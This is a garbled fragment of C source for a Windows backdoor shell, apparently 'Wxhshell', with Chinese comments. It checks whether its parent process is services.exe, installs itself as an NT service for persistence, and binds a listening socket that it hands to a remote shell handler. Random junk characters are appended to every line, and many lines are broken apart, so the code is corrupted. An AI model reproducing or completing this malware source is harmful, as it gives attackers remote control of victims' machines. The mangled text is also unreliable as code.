ULONG InheritedFromUniqueProcessId; )Z&HuEg{ZR
} PROCESS_BASIC_INFORMATION; w?i)/q
<a fO 6?`
PROCNTQSIP NtQueryInformationProcess; ~7dF/Nn5
oHk27U G
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [)0
R'xL6
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f:&)"
IBDVFA
HANDLE hProcess; =~
'^;D
PROCESS_BASIC_INFORMATION pbi; zNwc((
,k\/]9
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t)KPp|&
if(NULL == hInst ) return 0; ~Z7)x7
z
>I|<^$/
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R7,pukK
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UL[uh@4
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b70AJe=
vLr&ay!w
if (!NtQueryInformationProcess) return 0; {x|MA(NO
=8@RKG`>;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZDfS0]0F
if(!hProcess) return 0; 0xLkyt0
d0TgqO{
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *0lt$F$~b
X&/(x
CloseHandle(hProcess); !%X>rGkc
g4i #1V=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b13nE.
if(hProcess==NULL) return 0; YN$`y1V
G$|G w
HMODULE hMod; X:DMT>5k
char procName[255]; @f\
X4!e*y
unsigned long cbNeeded; $@68=
/8:gVXZi
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }=TqJy1
t Z+0}d
CloseHandle(hProcess); mqubXS;J|P
R&gWqt/
if(strstr(procName,"services")) return 1; // 以服务启动 ]LMiMj
G}Gb|sD
Zq
return 0; // 注册表启动 1R*1BStc
} OW?uZ<z
>=bt
// 主模块 X,&`WPA:S
int StartWxhshell(LPSTR lpCmdLine) z_'dRw
{ \G]K,TG
SOCKET wsl; bKTqX[ =
BOOL val=TRUE; S io1Q0
int port=0; ykJ+%gla
struct sockaddr_in door; Q:kwQg:~
g^qz&;R]
if(wscfg.ws_autoins) Install(); .iN-4"_j1
vs*>onCf
port=atoi(lpCmdLine); e<kpcF5{\
XadG\_?t`
if(port<=0) port=wscfg.ws_port; .[#xQ=9`
LE<:.?<Z-
WSADATA data; ^kc>m$HY
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -?[O"D"c
Tq.MubaO
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; $ V3n~.=
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )gL&
door.sin_family = AF_INET; p!C_:Z5i
door.sin_addr.s_addr = inet_addr("127.0.0.1"); xP XoJN
door.sin_port = htons(port); H^ESAs6
QziN]
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y!bpOa&
closesocket(wsl); 3/SfUfWo
return 1; KsZ@kTs
} C3]\$
}klE0<W|5\
if(listen(wsl,2) == INVALID_SOCKET) { N `J:^,H
closesocket(wsl); L00Sp#$\
return 1; Q S5dP
} P)a("XnJ`
Wxhshell(wsl); <WO&$&
WSACleanup(); ?a*fy}A|
D1oaG0
return 0; !IfI-Q
F">Nrj-bs
} 0~Um^q*'3
+oE7~64LL
// 以NT服务方式启动 5w]DncdQ~
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &19lk
{ LZgwIMd
DWORD status = 0; SJso'6 g
DWORD specificError = 0xfffffff; K-N]h
A9NOeE
serviceStatus.dwServiceType = SERVICE_WIN32; + 8MW$ m$
serviceStatus.dwCurrentState = SERVICE_START_PENDING; H(
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =1%zI%
serviceStatus.dwWin32ExitCode = 0;
iK$Vd+Lgc
serviceStatus.dwServiceSpecificExitCode = 0; f6keWqv<GW
serviceStatus.dwCheckPoint = 0;
JsZAP
serviceStatus.dwWaitHint = 0; 45]Ym{]
7f.4/x^
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !%SdTaC{T
if (hServiceStatusHandle==0) return; ?j &V:kF
%i;r]z-
status = GetLastError();
{JCSR2BB
if (status!=NO_ERROR) W@R$'r,@O
{ M!;`(_2
serviceStatus.dwCurrentState = SERVICE_STOPPED; W;xW:
-
serviceStatus.dwCheckPoint = 0; SSl8
serviceStatus.dwWaitHint = 0; ,-w-su=J_
serviceStatus.dwWin32ExitCode = status; w`H.ey
serviceStatus.dwServiceSpecificExitCode = specificError; [Q2S3szbt6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7j9D;_(.^$
return; o=mq$Z:}
} hNu>s
T4%i`<i
serviceStatus.dwCurrentState = SERVICE_RUNNING; WZ-4^WM=!
serviceStatus.dwCheckPoint = 0; DDqC}l_
serviceStatus.dwWaitHint = 0; qat45O4A1
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tJ(c<:zD
} wgSR*d>y*9
g=8|z#S
// 处理NT服务事件,比如:启动、停止 ):|G
kSm
VOID WINAPI NTServiceHandler(DWORD fdwControl) f;@b
a[
{ u|_ITwk
switch(fdwControl) SX1Fyy6
w
{ d/ 'A\"o+
case SERVICE_CONTROL_STOP: D=5t=4^H(
serviceStatus.dwWin32ExitCode = 0; 7Va#{Y;Zy
serviceStatus.dwCurrentState = SERVICE_STOPPED;
n?<#
{$
serviceStatus.dwCheckPoint = 0; 6xDl=*&%
serviceStatus.dwWaitHint = 0; EOd.Tyb!/
{ *IMF4x5M
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >oM9~7f
} =]5DYRhX]
return; y]~+ `9
case SERVICE_CONTROL_PAUSE: |!jYv'%
serviceStatus.dwCurrentState = SERVICE_PAUSED; HJ2]Nz:
break; (hRgYwUa<
case SERVICE_CONTROL_CONTINUE: 89:?.'
serviceStatus.dwCurrentState = SERVICE_RUNNING; O+{pF.P#V
break; W<cW;mO
case SERVICE_CONTROL_INTERROGATE: (Fbm9(q$d
break; } K+Q9<~u
}; hJ$C%1;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {kRDegby
} Skr\a\
J
MA/"UV&M(
// 标准应用程序主函数 T@d_t
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4 _c:Vl
{ Se;?j-
,J`lr
U0
// 获取操作系统版本
Rsa\V6N>
OsIsNt=GetOsVer(); *_"c!eW
GetModuleFileName(NULL,ExeFile,MAX_PATH); ulz\x2[Pf
clR?< LO
// 从命令行安装 aOAwezfYR
if(strpbrk(lpCmdLine,"iI")) Install(); 5CRc]Q#@
_Vk,&